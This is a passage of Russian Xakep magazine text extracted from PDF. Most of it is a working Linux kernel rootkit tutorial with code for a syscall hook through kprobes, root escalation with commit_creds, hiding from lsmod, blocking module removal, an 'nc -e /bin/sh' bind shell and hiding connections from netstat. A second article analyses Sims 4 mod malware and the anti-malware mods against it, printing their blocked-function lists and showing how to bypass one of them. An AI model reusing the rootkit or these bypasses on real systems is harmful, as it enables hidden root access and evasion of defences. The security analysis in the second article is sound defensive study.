это  средство динамической отладки ядра, позволяющее ставить breakpoints
на доступные для записи участки памяти и самостоятельно обрабатывать их.

Принцип работы kprobes

Синтаксис механизма отладки довольно простой:

// Структура kprobe описана в файле include/linux/kprobes.h
      static struct kprobe un = {

   // Место, куда мы будем ставить бряк (экспортированный ядром 
символ)
     .symbol_name = "kernel_clone",
   // Обработчик бряка
     .pre_handler = intercept,
};

    static int __init init(void) {
// Регистрируем «пробу»
register_kprobe(&un);
...
}

    static void __exit bye(void) {
// Удаляем «пробу»
unregister_kprobe(&un);
...
}

Кстати, посмотреть, экспортирован ядром символ или  нет, можно, прочитав
файл kallsyms:

 cat /proc/kallsyms | grep "имя символа"

ПЕРЕХВАТЫВАЕМ X64_SYS_CALL

Популярный руткит diamorphine для  общения с  пользователем использует
перехваченный syscall  — . Однако для  этого он ставит хук
на  , что уже неактуально. Как  же тогда отслеживать сис‐

темные вызовы? Ответ прост: перехват .

kill
sys_call_table

x64_sys_call
Все дело в  том, что  участвует при  вызове любого «сис‐

кола». Это  некая обертка над  каждым системным вызовом, подключающая
макросы, в качестве которых реализованы системные вызовы.

x64_sys_call

// regs — аргументы системного вызова
// nr — номер системного вызова

       long x64_sys_call(const struct pt_regs *regs, unsigned int nr)
{
     switch (nr) {
   // Здесь находятся системные вызовы в качестве макросов вида 
SYSCALL_DEFINEX(name, args...),
   // где X — количество аргументов в syscall’e
    #include <asm/syscalls_64.h>

     default: return __x64_sys_ni_syscall(regs);
   }
};

Важно отметить, что  также экспортирована ядром.x64_sys_call

Проверка символа x64_sys_call на экспорт

Отлично, теперь осталось использовать это  для организации общения
с пользователем. Присмотримся к команде .echo

Результат трассировки команды echo

 использует в своей работе  — как раз то, что нам и нужно. Подыто‐

жив сказанное, напишем обработчик команд пользователя:

Echo write

// Идентификатор команды, которую будет отлавливать обработчик команд
#define ROOT "wanna_root"

// Наша проба
      static struct kprobe un = {

     .symbol_name = "x64_sys_call",
   // Обработчик
     .pre_handler = intercept,
};

         static int intercept(struct kprobe *p, struct pt_regs *regs) {
       // Проверяем номер системного вызова, передаваемый в 
x64_sys_call

          if (regs->si == __NR_write){
            // Сохраняем параметры, передаваемые вместе с write

                 struct pt_regs *pRegs = (struct pt_regs*)regs->di;
           // Если текст, переданный в echo, совпадает с именем 
команды, то обрабатываем ее

                  if (!strncmp( (const char*)(pRegs->si) , ROOT ,10)) {
...

    Функция, выполняемая при загрузке модуля
    static int __init init(void) {

...
 int err;

     err = register_kprobe(&un);
       if (err < 0) {

        pr_err("Failed to register kprobe, error: %d\n", err);
        return err;

   }
...
}

Здесь нам не  нужно использовать , поскольку информация

уже находится в режиме ядра.

copy_from_user

ПОВЫШАЕМ ПРИВИЛЕГИИ И УДАЛЯЕМ СЕБЯ ИЗ СПИСКА
ЗАГРУЖЕННЫХ МОДУЛЕЙ

Все системные вызовы осуществляются в  контексте процесса, то есть мы
можем получить доступ к памяти, окружению процесса в момент выполнения
syscall’a. Каждый процесс олицетворяется в  ядре структурой 

, которая имеет довольно внушительный размер. Внутри этой

структуры есть поле, отвечающее за  привилегии процесса, к  которому мы
можем обратиться.

struct 
task_struct

Поля, отвечающие за привилегии процесса

Поскольку мы находимся в режиме ядра, то особых проблем с повышением
привилегий не  имеем. Достаточно просто заменить эту структурку своей,
и вуаля!

  static int root_func(void){
     struct cred *newcreds;
   // Инициализация структуры
     newcreds = prepare_creds();
      if (newcreds == NULL){
   pr_alert("can't prepare creds\n");

        return 1;
   }
   // Выдаем себе рут
       newcreds->uid.val = newcreds->gid.val = 0;
   // euid и egid — «эффективные» привилегии, то есть привилегии 
запущенного процесса
       newcreds->euid.val = newcreds->egid.val = 0;
       newcreds->suid.val = newcreds->sgid.val = 0;
       newcreds->fsuid.val = newcreds->fsgid.val = 0;

   // Вносим свои изменения
   commit_creds(newcreds);
    return 0;

}

INFO

Чтобы избежать конфликта, при разработке ядер‐
ных модулей следует описывать все свои фун‐
кции и  глобальные переменные с  приставкой

. Это  необходимо, поскольку ядро
экспортирует все символы в глобальную область
видимости и  пользователь может вызвать своим
неаккуратным поведением конфликт имен.

static

Что касается самоудаления из списка загруженных модулей — дело несколь‐
ких строчек кода. Наш руткит представляет собой ,

который также представлен своей структурой в памяти ядра. Мы просто уда‐
ляем себя из связного списка загруженных модулей:

kernel object file

// Прячемся от команды lsmod — команды, выводящей все загруженные в 
память модули

    static inline void hide_func(void){
   // THIS_MODULE — глобальный макрос, позволяющий обратиться к 
структуре своего модуля
   // Поле list — связный список загруженных в память ядра модулей
     module_previous = THIS_MODULE->list.prev;

   // unlink
     module_previous->next = THIS_MODULE->list.next;
   hidden=1;
}

// Возвращаемся в строй
    static inline void show_func(void){

   // Нужно, чтобы не словить segfault
       if (module_previous !=NULL && hidden==1){

         module_previous->next = &THIS_MODULE->list;
       hidden=0;
   }
}

Важно отметить, что в  других реализациях руткитов используется функция
, удаляющая элемент из списка, однако с недавнего времени в нее

добавили проверку на  , поэтому мы осуществляем unlink

нашего модуля вручную.

list_del
list corruption

УВЕЛИЧИВАЕМ СЧЕТЧИК ССЫЛОК НА МОДУЛЬ

В структуре нашего модуля (структура описана в  файле )

есть волшебное поле , которое «отражает популярность» нашего

модуля. Оно показывает, сколько компонентов системы использует этот
модуль в данный момент.

/linux/module.h
refcnt

При удалении модуля из списка система проверяет это поле, и если оно
оказывается положительным, то модуль из ядра не удаляется. По умолчанию
значение равно 1, но мы можем изменить его:

   static inline void no_rm_func(void){
      atomic_t *pRefcnt = &THIS_MODULE->refcnt;
   // В ядре Linux для атомарных данных предусмотрен свой интерфейс
    atomic_set(pRefcnt, 1337);
}

   static inline void yes_rm_func(void){
      atomic_t *pRefcnt = &THIS_MODULE->refcnt;
   // Возвращаем в исходное состояние
    atomic_set(pRefcnt, 1);
}

РЕАЛИЗУЕМ БЭКДОР И ПРЯЧЕМСЯ ОТ NETSTAT

Бэкдор
Попробуем повесить шелл на  порт сразу же при  загрузке руткита в  ядро.
Для  этого нам нужно научиться находить свободный порт в  системе. Заг‐
лянем в ядро и посмотрим описание протокола TCPv4.

Структура, описывающая сетевой протокол

В TCPv4  для  этих целей используется функция 

, которая возвращает 0, если указанный  свободен.

inet_csk_get_port(struct 
*sock, int port) port

Напишем функцию, которая ищет свободный порт в системе.

  static int getFreePort(void){
   // Создаем временный сокет, чтобы найти свободный порт
       sock_create_kern(&init_net, PF_INET, SOCK_STREAM, IPPROTO_TCP, &
sock_tmp);

   // Получаем инициализированную структуру sock
     sk = sock_tmp->sk;

      int candidate = 1024;
      int max_port = 65536;

            for (int i = candidate; i < max_port; i++) {
       // Если порт свободен...

           if (!inet_csk_get_port(sk, i) ) {
             candidate = i;

           // ...освобождаем временный сокет, необходимый для 
определения свободного порта
           sock_release(sock_tmp);

            sk       = NULL;
             sock_tmp = NULL;

        pr_info("candidate: %d\n", candidate);
            return candidate;

       }
   }
    pr_info("BAD: %d\n", candidate);
    return -1;
}

Свободный порт мы определять научились, остается повесить на него шелл:

// candidate — порт, на который вешается шелл
   static void run_shell_nodelay(int candidate){

    char tmp[100];
   // Вешаем шелл на порт
      snprintf(tmp, sizeof(tmp), "nc -e /bin/sh -p %d -l", candidate);
     argv[2] = tmp;
   // Директория, в которой будет осуществляться поиск необходимых 
бинарников
       static char *envp[] = {"PATH=/bin:/sbin",NULL};

   // call_usermodehelper запускает процесс в пространстве 
пользователя
   // Флаг UMH_WAIT_EXEC заставляет ядро только ждать выполнения 
команды, не более
       if (call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC))
       pr_alert("umodehlpr returned error\n");
}

INFO

Вызов функции  сов‐
местно с  использованием механизма kprobes
существенно влияет на  простой ядра, поскольку
в первом случае ядро должно выполнить дорогос‐
тоящие операции по созданию и инициализации
пользовательского процесса, а  во втором бло‐
кируются прерывания на  процессоре, чтобы
обеспечить целостность перехвата функций.

call_usermodehelper

Для полноты картины я приведу также код, реализующий шелл по  запросу
пользователя.

    static int shll_func(const char *from_user_port){

      char buf[10] = {'\x00','\x00','\x00','\x00','\x00','\x00','\x00',
'\x00','\x00','\x00'};
      char* endptr = "\x00";

   // Парсим порт, который нам передал пользователь
        strncpy(buf, from_user_port + 11 , 5);
        port = simple_strtoul(buf, &endptr , 10);
   pr_info("port is: %lu\n",port);

          if (port < 1024 || port > 65536)
        return -1;

   // Ставим run_shell_delay в глобальную очередь ядра 
schedule_work(&wrk);    для отложенного выполнения
    INIT_WORK(&wrk, run_shell_delay);

    return 0;
}

Netstat
Netstat в своей сущности представляет команду, дергающую каждый раз фун‐
кцию , которая выводит на экран информацию о существу‐

ющих соединениях.

tcp4_seq_show()

Исходный код функции tcp4_seq_show

Обрати внимание на начало функции:

// Сокет, с которого будет срисована информация
    struct sock *sk = v;

      seq_setwidth(seq, TMPSZ - 1);
   // Если сокет будет иметь значение SEQ_START_TOKEN, то вместо 
него на экран будет выведена начальная строка
       if (v == SEQ_START_TOKEN) {

        seq_puts(seq, "  sl  local_address rem_address   st tx_queue 
"
              "rx_queue tr tm->when retrnsmt   uid  timeout "
              "inode");

        goto out;
   }

Попробуем воспользоваться этим для маскировки своего шелла:

        static int tcp_hid_func(struct kprobe *p, struct pt_regs *regs){

   // Если запись из netstat не является заголовком, выводимым 
командой
      if (regs->si != SEQ_START_TOKEN) {

   // Получаем сокет, информация о котором должна вывестись на экран
         struct sock *sk = (struct sock *)regs->si;

       // Прячем необходимое соединение
             if (sk && sk->sk_num == hid_port) {

           // Здесь грязный хак... Говорим, что это заголовок 
команды netstat :)

              regs->si = (unsigned long)SEQ_START_TOKEN;
       }
  }
    return 0;
}

Результат маскировки нашего соединения

КАК ЕЩЕ УЛУЧШИТЬ РУТКИТ?

На самом деле есть еще куча моментов, которые можно улучшить. К примеру,
руткит написан под  x86_64, функция  не  гарантирует, что най‐

денный свободный порт будет свободен в момент «вешания» на него шелла,
единовременно может быть замаскирован только один порт, а  команда 

имеет опцию  не  во всех дистрибутивах, из‑за чего придется качать ncat

и допиливать код. В общем, все в твоих руках.

getFreePort

nc
-e

Подводя итог статьи, хочу отметить, что ядро  — опенсорсный проект,
поэтому его изучение приносит лишь удовольствие, а наличие посвященных
этой теме основательных трудов великих авторов позволяет исследователям
уверенно «идти на свет».

WWW

Исходники руткита опубликованы 
.

на странице
GitHub автора

https://t.me/Stack_Canary_Found
https://xakep.ru/2024/12/17/pumakit/
https://github.com/torvalds/linux/commit/1e3ad78334a69b36e107232e337f9d693dcc9df2
https://github.com/VladimirAnderson/wann3r
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ВЗЛОМ

Не так давно фанатов The  Sims 4  перепо‐
лошила новость о  появлении опасных
вирусов в  их любимой игре. Громадный
скандал привел к  появлению нескольких
специализированных антивирусов и  ужес‐
точению правил модерации для всех новых
модификаций. Сегодня мы узнаем, работа‐
ют ли эти меры безопасности на  самом
деле.

ФОРМАТ МОДИФИКАЦИЙ

Скачав несколько модов, я обнаружил два формата данных: файлы с  рас‐
ширением  и  . Первым делом я попробовал открыть их

через 7-Zip, и   оказался обычным ZIP-архивом, содержащим ском‐

пилированные файлы Python с  расширением .pyc. Файл  тоже ока‐

зался архивом, но проприетарным. Открыв его в Hex-редакторе, видим пер‐
вые четыре байта   — очевидная сигнатура. Я загуглил «dbpf file format»

и нашел подробное  его внутреннего устройства.

ts4script package
ts4script

package

DBPF
описание

Есть несколько инструментов для  распаковки , но  проще всего
оказалось работать с ним в  . Открываем пакет как новый проект
и  видим список лежащих в  архиве ресурсов. Он включает в  себя текстуры,
меши, анимации, файлы локализаций и прочие ассеты. В основном содержит
настройки в формате XML. Исполняемого кода здесь нет.

package
Sims 4 Studio

Пакет с крутой тачкой для твоих кукол

Код сосредоточен в  файлах . Малварь распространяется через
них, поэтому поддержку скриптов на свой страх и риск надо включать в нас‐
тройках игры. Однако у  большинства игроков скрипты включены по  умол‐
чанию, так как ими пользуются все сложные модификации. При этом я не счи‐
таю отключение скриптов стопроцентной защитой от  вирусов. Парсеры
лежащих в   файлов тоже могут содержать ошибки, как я это показы‐

вал в недавней , а значит, могут привести к исполне‐
нию произвольного кода.

ts4script

package
статье про GTA Vice City

СОЗДАНИЕ СКРИПТОВЫХ МОДОВ

Чтобы понять ограничения виртуальной машины, надо создать собственный
. Благо для этого есть , предоставляющий все инс‐

трументы для  сборки. Сначала поставим Python 3.7. Именно эта версия
используется в  самой игре. Далее открываем папку из  SDK в  PyCharm.
Исправляем путь до игры и папки модификаций в  . И запускаем
скрипт , который декомпилирует используемые игрой

Python-скрипты в  папку . Изменяем на  свое усмотрение файл

 и запускаем скрипт . В папке для модификаций

появится новый мод. При  запуске игры он отобразится в  списке активных
модификаций.

ts4script фанатский SDK

settings.py
decompile_all.py

EA
example_mod.py compile.py

Но для  удобной отладки есть способ проще. Создаем исходный скрипт
в папке для модификаций, например по пути 

. При загрузке скрипта игра скомпилирует его самостоятельно. Это удобно

тем, что можно установить  и  вбивать в  консоль игры 

. Это  приведет к  горячей перезагрузке скрипта, другими словами,
можно менять и  пересобирать скрипт без  перезагрузки самой игры. Игра
загружается долго, так что это весьма полезно.

Mods\test\Scripts\test_mod.
py

script_reloader reload 
test_mod

 import sims4.commands

 @sims4.commands.Command('mfs', command_type=sims4.commands.
CommandType.Live)

 def myfirstscript(_connection=None):
     output = sims4.commands.CheatOutput(_connection)
   output("This is my first script mod !!!")
      for i in range(100):
       output(f"Sleep {i}")
       time.sleep(1)

Для начала проверим максимальное время работы скрипта. Откроем консоль
игры (через сочетание клавиш Ctrl-Shift-C) и вызовем созданную нами коман‐
ду  — мы увидим, что скрипт живет по крайней мере 100 секунд. Покопав‐

шись в исходниках из папки , я сообразил, как создать MessageBox:

mfs
EA

 import sims4.commands
   from ui.ui_dialog import UiDialogOk
   from sims4.localization import LocalizationHelperTuning

 def dlg_text(text):
      return lambda **_: LocalizationHelperTuning.get_raw_text(text)

 def message_box(title_str=None):
      dial = UiDialogOk.TunableFactory().default(None, title=dlg_text(
title_str))
   dial.show_dialog()

 @sims4.commands.Command('dlg', command_type=sims4.commands.
CommandType.Live)

 def dlg(_connection=None):
     output = sims4.commands.CheatOutput(_connection)
   try:
       message_box("Пора спать!")
      except BaseException as e:

          for v in e.args:
           output(v)

Так как это журнал «Хакер», а не «Страна игр», мы не будем углубляться в соз‐
дание модификаций. Главное, что нас интересует, — проверка ограничений
виртуальной машины Python. И, судя по моим тестам, их нет вообще. Скрипт
может выполнять практически любой код!

ИСТОРИЯ АТАКИ

В теме The Sims 4 на «Рутрекере» висит сообщение:

«

»

ВНИМАНИЕ! Вредоносное ПО в некоторых модах для The Sims 4!⠀
На популярных сайтах загрузок стали появляться некоторые моды, содер‐

жащие хакерские программы в файле сценария (.ts4script). Если вы запус‐
каете игру, установив такой мод, файл .exe запускается без вашего ведома.
Как только это произойдет, будет украден большой объем данных из вашего
интернет‑браузера (Chrome, Edge, Opera, Firefox и других), приложений
Discord, Steam, Telegram и некоторых криптокошельков.

Обнаружились такие моды на известных сайтах: MTS, TSR, Curseforge,
Loverslab. Они были загружены либо через учетные записи, очень похожие
на известных моддеров, либо через взломанные учетные записи.

Я решил поискать нашумевшие моды. Говорят, интернет помнит всё. Но  не
в нашем случае. Хеши были известны, и несколько антивирусов сделали свою
работу — моды вычищены везде, где только можно. Я поспрашивал несколь‐
ких участников событий, но у них тоже не оказалось семплов. Поэтому перес‐
кажу, что делал код, с  чужих слов. В  любом случае метод нападения уже
понятен — вредоносный скрипт на Python внутри файла .ts4script

Комментарий с «Реддита» утверждает, что зараженный мод создает про‐
цесс , который общается с  управляющим сервером, рас‐

положенным на взломанном WordPress. Малварь, вероятно, называется Akira
и  представляет собой стилер, написанный на  Python. Подробный разбор
семпла можно почитать на  .

Updater.exe

cyfirma.com

SIMSVIRUSCLEANER

Первой реакцией сообщества на  новость об  атаке было срочное создание
специализированных антивирусов, убирающих вредоносные файлы из  сис‐
темы. Одним из  таких инструментов с  открытым исходным кодом был

. Он занимается детектированием конкретного семпла,
поэтому проверяет его хеши SHA-256:
SimsVirusCleaner

   std::string updater_hash_ =
"8c8558dc150de295f4b1d557243b5d978f09cfcec94145cd1ddb5315b3a0d92a";

   std::string main_hash_ =
"c98f0f5b89c6dac1482286faa2e33a84230c26ea38da4e013665582c9a04213b";

По ним нетрудно найти отчеты на   или других  для проверки
файлов.

VirusTotal сервисах

 int main()
{
 //Lets Kill the processes first//
 KillProcessByName("main.exe");
 KillProcessByName("main");
 KillProcessByName("Updater.exe");
 KillProcessByName("Updater");
 KillProcessByName("python.exe");
 KillProcessByName("python");
 /////////////////////////////////

   std::string prefix_path_one =
   "\\Microsoft\\Internet Explorer\\UserData\";

 std::string prefix_path_two =
    "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\";

 // Initialize the path buffer
 CHAR appDataPath[MAX_PATH] = { 0 };

 // Retrieve the APPDATA folder path
 HRESULT result = SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 
SHGFP_TYPE_CURRENT, appDataPath);

 if (result != S_OK) {
        MessageBox(0, "Cannot clean because can't find roaming", "Title

", 0);
   return 0;
 }

 std::string prefix_appdata = appDataPath;
 std::string first_path = prefix_appdata + prefix_path_one;
 std::string second_path = prefix_appdata + prefix_path_two;

 is_detetcted_ = ScanFolder(first_path);

 if (is_detetcted_) {
   DeleteReg();
   ScanFolder(second_path);
   CleaningTemp();

       MessageBoxA(0, "Virus Detected And Deleted.", "Virus Detect.", 0)
;
 }

Алгоритм убивает процессы по  известным именам. Сканирует папку 

 на предмет известных хешей.
И  если они там есть, удаляет значение  из  ветки 

, снимая файл с  автозапуска.

Также сканирует папку 
, убирая запасной авторан малвари.

\\
Microsoft\\Internet Explorer\\UserData\\

updater SOFTWARE\\
Microsoft\\Windows\\CurrentVersion\\Run

\\Microsoft\\Windows\\Start Menu\\Programs\\
Startup\\

PRIVACY PROTECTOR

Разберем еще  один специализированный антивирус для  Sims c открытым
исходным кодом  — . В  собранном виде он представляет
собой , который ставится как  обычный мод и  гарантирует защиту

от неизвестных семплов. В описании сказано, что он  блокирует функции

,  и словарь , так как их активно использует код самой
игры. Хорошее начало, не правда ли? Однако Privacy Protector обещает бло‐
кировать и заносить в логи все подозрительные действия.

Privacy Protector
ts4script

не

eval exec sys.modules

  o19_org_urllib_request_urlopen = urllib.request.urlopen

  def o19_override_urllib_request_urlopen(*args, **kwargs):
     O19Injections.log_data('urllib.request.urlopen', *args, **kwargs)
     return o19_org_urllib_request_urlopen(*args, **kwargs)

  urllib.request.urlopen = o19_override_urllib_request_urlopen

Он действительно подменяет некоторые функции своим перехватчиком,
который записывает в логи факт вызова.

    def log_data(_method: str, *args, **kwargs):
   try:

         log_message = f"'{_method}({args}; {kwargs})' called from:\n"
          for thread in threading.enumerate():

             thread_details = traceback.extract_stack(sys.
_current_frames()[thread.ident])

              for thread_detail in thread_details:
                    (filename, number, function, line_text) =

thread_detail
                 log_message = f"{log_message}    {filename}#{number} 

'{line_text}' in '{function}()'\n"
       log.warn(log_message)
      except Exception as e:
       log.error(f"Error in 'log_data': '{e}'")

       if _method in ['eval', 'exec']:
       return
   try:

         notify_message = f"Privacy violated.\r\nSee 'The Sims 4/
mod_logs/{S4CLModInfo.mod_name}.txt' for more details."
       PrivacyProtector.show_notification(f"{notify_message}\n{
_method}(...)")
      except Exception as e:
       log.error(f"Error in show_notification({e})")

    raise PrivacyViolationException("Blocking privacy violation!")

Функция  создает оповещение в  игре и  завершает код опасного

плагина, вызывая исключение . Если поль‐
зователь считает плагин доверенным, он может положить файл с  именем
мода в папку для исключений. Как и обещано в описании, игнорируются фун‐
кции  и  . Вот полный список блокируемых методов:

log_data
PrivacyViolationException

eval exec

imp.load_source

ftplib.FTP

os.startfile

os.execl

os.execve

os.spawnv

os.spawnve

os.system

os.popen

socket.socket

socket.socketpair

socket.fromfd

socket.fromshare
socket.create_connection

subprocess.run

subprocess.Popen

subprocess.call

subprocess.check_call

subprocess.check_output

subprocess.getoutput

subprocess.getstatusoutput

timeit.timeit

urllib.request.urlopen

urllib.request.Request

urllib.request.FancyURLopener

urllib.request.OpenerDirector

urllib.request.AbstractHTTPHandler

urllib.request.BaseHandler

urllib.request.ProxyHandler

urllib.request.HTTPHandler

urllib.request.FileHandler

urllib.request.FTPHandler

urllib.request.CacheFTPHandler

urllib.request.URLopener

urllib.request.ftpwrapper

webbrowser.open


Еще мод умеет сканировать установленные скрипты. Он ищет в них названия
перехватываемых функций, а также следующие строчки:

asyncio.create_subprocess_shell

asyncio.get_event_loop_policy
asyncio.create_subprocess_exec

.__builtins__

.importlib

pip.main

pty.spawn

sys.modules

.eval

.exec


Сканер подсчитывает, сколько нашел подозрительных строк, смотрит, выз‐
вались ли  и  , и  записывает собранную метрику по  каждому файлу

в логи на диске. При этом работа подозрительных плагинов не блокируется.

eval exec

Продолжение статьи
→

http://www.wiki.sc4devotion.com/index.php?title=DBPF
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MODGUARD

Наконец, рассмотрим взлетевший на  хайпе от  вирусной атаки плагин
. Он распространяется без  исходного кода, поэтому распакуем
 и  декомпилируем спрятанные в  нем файлы .pyc. Для  этого нам

потребуется пакет , который работает только с  версиями Python
не старше 3.8.

ModGuard
ts4script

decompyle3






C:\Python38\python.exe -m pip install decompyle3

После установки получаем собранный инструмент:






C:\Python38\Scripts\decompyle3.exe file.pyc -o file.py

Декомпилировав таким образом все файлы, приступаем к разбору.

 def check_for_updates():
   try:

          from xml.dom import minidom
           from urllib.request import urlopen, Request
         url = "http://twistedmexi.com/BetterExceptions/ModVersions.

xml"
          zheaders = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1) 

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.
3"}

          req = Request(url=url, headers=zheaders)
          dom = minidom.parse(urlopen(req, timeout=10.0))

         ModGuard.NewestInternalVersion = dom.getElementsByTagName("
ModGuard")[0].firstChild.nodeValue

          if ModGuard.InternalVersion < float(ModGuard.
NewestInternalVersion):

             ModGuard.NeedsUpdate = True
   except:
       pass

check_for_updates()

Первым делом при  загрузке скрипта проверяется наличие обновлений.
Далее код создает различные диалоговые окна с информацией о моде.

 @sims4.commands.Command("tm.modguard.discord", command_type=(sims4.
commands.CommandType.Live))

 def tmex_be_launch_discord(_connection=None):
   services.game_clock_service().set_clock_speed(ClockSpeedMode.
PAUSED)
   webbrowser.open("https://discord.TwistedMexi.com")

Через хитрый декоратор он перехватывает , чтобы

запустить скрипт сразу после загрузки игры.

Zone.on_client_connect

 @tmex_mg_hook.rewrite(Zone, "on_client_connect")
   def tm_zone_injection(target, self, client):

   tm_modguard_status_notify()
   show_modguard_alert()
    if ModGuard.NeedsUpdate:
       tm_show_update_dialog()
    target(self, client)

Плагин подменяет многие функции Python для  предварительной проверки
входных данных. Это  своего рода проактивная защита вроде Ring 3  хуков
обычного антивируса для  Windows. Посмотрим на  хук для  конкретной фун‐
кции:

  LowPrefix = "c:\\windows\\system32\\cmd.exe /c "
  LowPrefix2 = "cmd.exe /c "

  PRE_PROHIBIT = [' q"$d f"\x1f$']
   PROHIBITED_ITEMS = ['- a$`"s','[ @  o$$o$C" "`  ?s "`['] # (...)

     WRITE_DOUBLE_CHECK = [")enji", ")^ab", ")gjb", ")cohg"]

 if sys.platform.startswith("win"):
    import _winapi

 @tmex_mg_hook.rewrite(_winapi, "CreateProcess")
     def tm_subprocess_guard_low(target, exec, param, *args, **kwargs):

       if exec is not None:
          for p in PROHIBITED_ITEMS:

              if p in exec.lower():
                 if block_and_track(5, exec):

                   return

       if param is not None:
         paramcheck = param

        if paramcheck.lower().startswith(ModGuard.LowPrefix):
             paramcheck = paramcheck[len(ModGuard.LowPrefix):]

        if paramcheck.lower().startswith(ModGuard.LowPrefix2):
             paramcheck = paramcheck[len(ModGuard.LowPrefix2):]

          for p in PROHIBITED_ITEMS:
              if p in paramcheck.lower():

                 if block_and_track(5, param):
                   return

          for p in PRE_PROHIBIT:
            if param.lower().startswith(p):

                 if block_and_track(5, x):
                   return

      if os.path.exists(param + ".exe"):
         if block_and_track(5, x):

           return
           return target(exec, param, *args, **kwargs)

Стандартный CPython поддерживает модуль , а параметр  фун‐

кции  передает путь к  исполняемому файлу. В  нем ищется

набор подстрок из  . На первый взгляд они кажутся стран‐
ными, но на самом деле они просто зашифрованы. Чуть ниже идет код рас‐
шифровки:

_winapi exec
CreateProcess

PROHIBITED_ITEMS

  def search(s, n):
          return "".join((chr(ord(char) - n) for char in s))

  lister = []
   for x in PROHIBITED_ITEMS:

      val = search(x, -1)
   lister.append(val)

  PROHIBITED_ITEMS = lister
  setter = []

   for x in PROHIBITED_ITEMS:
     

    
setter.append(x.lower().replace("!", "").replace("@", "").replace

("#", "").replace("!", "").replace("%", "").replace("|", "%"))

  PROHIBITED_ITEMS = setter
  setter = []

   for x in PRE_PROHIBIT:
      

   
setter.append(search(x, -1).lower().replace("!", "").replace("@",

"").replace("#", "").replace("!", "").replace("%", ""))

  PRE_PROHIBIT = setter
  setter = []

   for x in WRITE_DOUBLE_CHECK:
    setter.append(search(x, -5).lower())

  WRITE_DOUBLE_CHECK = setter

Снимаем своим скриптом слой шифрования и видим строчки:

  PRE_PROHIBIT = ['reg ']

     WRITE_DOUBLE_CHECK = ['.json', '.cfg', '.log', '.html']

   \
 

\\ \\ \
\

PROHIBITED_ITEMS = ['.bat', '\\appdata\', '%temp% ', '.ps', '.cmd', '
.js', 'discordapp.com/attachments', 'sims4c', '.exe', 'chmod ', '.scr
', '.ps1', ' programs startup', 'hkey_local_machine ', '
hkey_local_machine ', '.msc', '.reg', '.dll']

Получается, хук запрещает запуск исполняемых файлов, особенно из 

или  . И негативно относится к работе с реестром, подозревая скрипт

в  установке извлеченного файла на  автозапуск. Второй аргумент 
содержит командную строку. Ее сравнивают с  , проверяя,

не запускает ли код скрипты для  . Также аргумент командной строки

не  может заканчиваться на  . Если хук обнаруживает нелегитимные
параметры, вызывается функция , которая блокирует

вызывающий модуль и создает сообщение о найденной угрозе.

%temp%
appdata

param
LowPrefix

cmd.exe
.exe

block_and_track

  MAIN_PATH = "T:\\InGame\\Gameplay\\Scripts"

Интересно, что модуль не  будет заблокирован, если указанный в  нем путь
до файла содержит строку . Это сделано для того, чтобы игнориро‐
вать модули самой игры. Путь хранится в  скомпилированном файле .pyc, и,
зная эту особенность, такой путь нетрудно сфальсифицировать, что заставит
ModGuard игнорировать вредоносные файлы.

MAIN_PATH

  SUFFIX_CHECK = [".js",".ps",".scr",".msc",".cmd",".reg",".dll",".ps1"
]

 @tmex_mg_hook.rewrite(builtins, "open")
    def tm_builtin_guard_write(target, file, *args, **kwargs):

      if len(args) > 0:
          if "w" in args[0].lower():

              for sfx in SUFFIX_CHECK:
                  if not not file.lower().endswith(sfx):

                        if sfx + " " in file:
                       pass

                    block_and_track(3, file)
                   return

              for p in PROHIBITED_ITEMS:
                  if p in file.lower():

                      for d in WRITE_DOUBLE_CHECK:
                        if file.lower().endswith(d):

                              return target(file, *args, **kwargs)

                    block_and_track(3, file)
                   return

          return target(file, *args, **kwargs)

Следующий хук перехватывает встроенную функцию . Запрещено откры‐
вать файлы с окончаниями из  , но разрешено с расширениями

из  . Другими словами, нельзя создавать исполняемые

файлы, но можно открывать конфиги и логи.

open
SUFFIX_CHECK

WRITE_DOUBLE_CHECK

    from ctypes import WinDLL, CDLL

 @tmex_mg_hook.rewrite(WinDLL, "__init__")
 @tmex_mg_hook.rewrite(CDLL, "__init__")

     def tm_windll_guard(target, self, name, *args, **kwargs):
      target(self, name, *args, **kwargs)
      if name.lower() == "kernel32":

        @tmex_mg_hook.rewrite(self, "CreateProcessW")
            def tm_windll_guard(target, name, command=None, *args, **

kwargs):
               if name is not None:

                  for p in PROHIBITED_ITEMS:
                      if p in name.lower():

                       block_and_track(4)
                        return False

Оригинальным способом ставятся перехваты на   в  момент
загрузки модуля  или  .

CreateProcessW
WinDLL CDLL

 @tmex_mg_hook.rewrite(Popen, "__init__")
     

  
def tm_subprocess_guard_process(target, self, params, bufsize=-1,
executable=None, *args, **kwargs):
    if executable:

          for p in PROHIBITED_ITEMS:
              if p in executable.lower():

                 if block_and_track(3, executable):
                   return

Точно таким же образом перехватываются функции , , 

и  .

system chmod replace
startfile

 def ReportCulprit():
   now = datetime.now()
   timestamp = now.strftime("%d/%m/%Y %H:%M:%S")

   
 

    
   

   
  

data = str.encode("{0} | {1} | {2} | {3} | {4} | {5} | {6} | {7} 
| {8} | {9} | {10} | {11} | {12} | {13}".format(timestamp, ModGuard.
SessionID, ModGuard.Culprit, ModGuard.PublicVersion, ModGuard.Value,
ModGuard.FrameCount, ModGuard.Filename, ModGuard.Function, ModGuard.
NextFileName, ModGuard.NextFunction, ModGuard.Next2FileName, ModGuard
.Next2Function, ModGuard.Next3FileName, ModGuard.Next3Function))

    record = "{0}|{1}".format(ModGuard.Culprit, ModGuard.Filename)

     if record not in ModGuard.ReportedItems:
         from urllib.request import urlopen, Request
       url = "http://twistedmexi.com/BetterExceptions/CompromisedMods.

php"
        zheaders = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1) 

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.
3"}

        req = Request(url=url, headers=zheaders)
       urlopen(req, data, 10)

Информация обо всех пойманных модулях отправляется на гейт автора. Нет‐
рудно зафлудить его поддельными отчетами, если задаться такой целью.

ПОБЕГ ИЗ ПЕСОЧНИЦЫ

Подмена функций — такая же наивная защита, как хуки WinAPI в третьем коль‐
це защиты. Она обходится по щелчку пальцев.

 import os

  old_link = os.open

  def hook_open(name, access):
    return False

  os.open = hook_open

 print('mkdir addr:', hex(id(os.mkdir)))
 print('open addr:', hex(id(old_link)))
 print('hooked addr:', hex(id(os.open)))

